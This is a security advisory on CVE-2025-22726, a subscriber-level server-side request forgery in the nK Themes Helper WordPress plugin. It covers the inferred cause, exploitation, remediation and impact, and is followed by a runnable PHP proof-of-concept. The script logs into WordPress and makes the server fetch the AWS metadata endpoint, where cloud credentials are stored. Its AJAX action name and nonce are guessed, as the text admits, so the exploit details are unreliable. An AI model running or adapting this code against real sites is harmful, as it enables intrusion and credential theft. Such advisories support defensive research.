Atomic Edge analysis of CVE-2025-22726 (metadata-based):
The nK Themes Helper WordPress plugin version 1.7.9 and earlier contains an authenticated Server-Side Request Forgery vulnerability. This flaw allows authenticated users with Subscriber-level permissions or higher to force the server to make arbitrary HTTP requests to internal or external systems. The vulnerability resides in a plugin function that accepts user-supplied URLs without proper validation.
Atomic Edge research infers the root cause is improper input validation within an AJAX handler or REST API endpoint. The plugin likely processes a user-controlled URL parameter through functions like wp_remote_get() or file_get_contents() without verifying the target is allowed. This conclusion is inferred from the CWE-918 classification and the description of authenticated SSRF. No code diff confirms the exact vulnerable function.
Exploitation requires an authenticated WordPress session with at least Subscriber privileges. Attackers likely send a POST request to /wp-admin/admin-ajax.php with an action parameter matching a vulnerable plugin hook, such as nk_themes_helper_ajax_action. The request includes a parameter like url or endpoint containing a target internal address (http://127.0.0.1:8080/admin) or external resource. The plugin server then executes the request, returning the response to the attacker.
Remediation requires implementing an allowlist of permitted hostnames or IP addresses. The plugin should validate user-supplied URLs against this allowlist before making external requests. Network-level restrictions like blocking requests to private IP ranges (RFC 1918) and loopback addresses should also be enforced. Input validation must reject URLs with unexpected schemes or malformed domains.
Successful exploitation enables attackers to probe internal networks, access metadata services (like AWS IMDS), and interact with internal APIs. This can lead to sensitive data exposure from backend systems, authentication bypass in internal applications, and potential remote code execution if internal services accept dangerous protocols. The vulnerability’s impact increases in cloud environments where internal metadata endpoints contain credentials.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-22726 - nK Themes Helper <= 1.7.9 - Authenticated (Subscriber+) Server-Side Request Forgery
<?php
$target_url = 'https://vulnerable-wordpress-site.com';
$username = 'subscriber_user';
$password = 'subscriber_pass';
// Internal target to probe (adjust based on environment)
$ssrf_target = 'http://169.254.169.254/latest/meta-data/';
// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$cookie_file = tempnam(sys_get_temp_dir(), 'cve_2025_22726');
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $login_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]),
CURLOPT_COOKIEJAR => $cookie_file,
CURLOPT_COOKIEFILE => $cookie_file,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false
]);
$response = curl_exec($ch);
// Step 2: Exploit SSRF via AJAX endpoint
// Assumption: Plugin uses AJAX action 'nk_themes_helper_ssrf' based on plugin slug pattern
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
curl_setopt_array($ch, [
CURLOPT_URL => $ajax_url,
CURLOPT_POSTFIELDS => http_build_query([
'action' => 'nk_themes_helper_ssrf',
'url' => $ssrf_target,
// Nonce may be required; vulnerability implies missing or weak nonce check
'nonce' => 'bypassed_or_absent'
]),
CURLOPT_RETURNTRANSFER => true
]);
$result = curl_exec($ch);
curl_close($ch);
// Step 3: Output results
if ($result !== false) {
echo "SSRF Response:n";
echo htmlspecialchars(substr($result, 0, 2000)) . "n";
if (strlen($result) > 2000) {
echo "[Response truncated]n";
}
} else {
echo "Request failed. Target may be patched or endpoint incorrect.n";
}
unlink($cookie_file);
?>
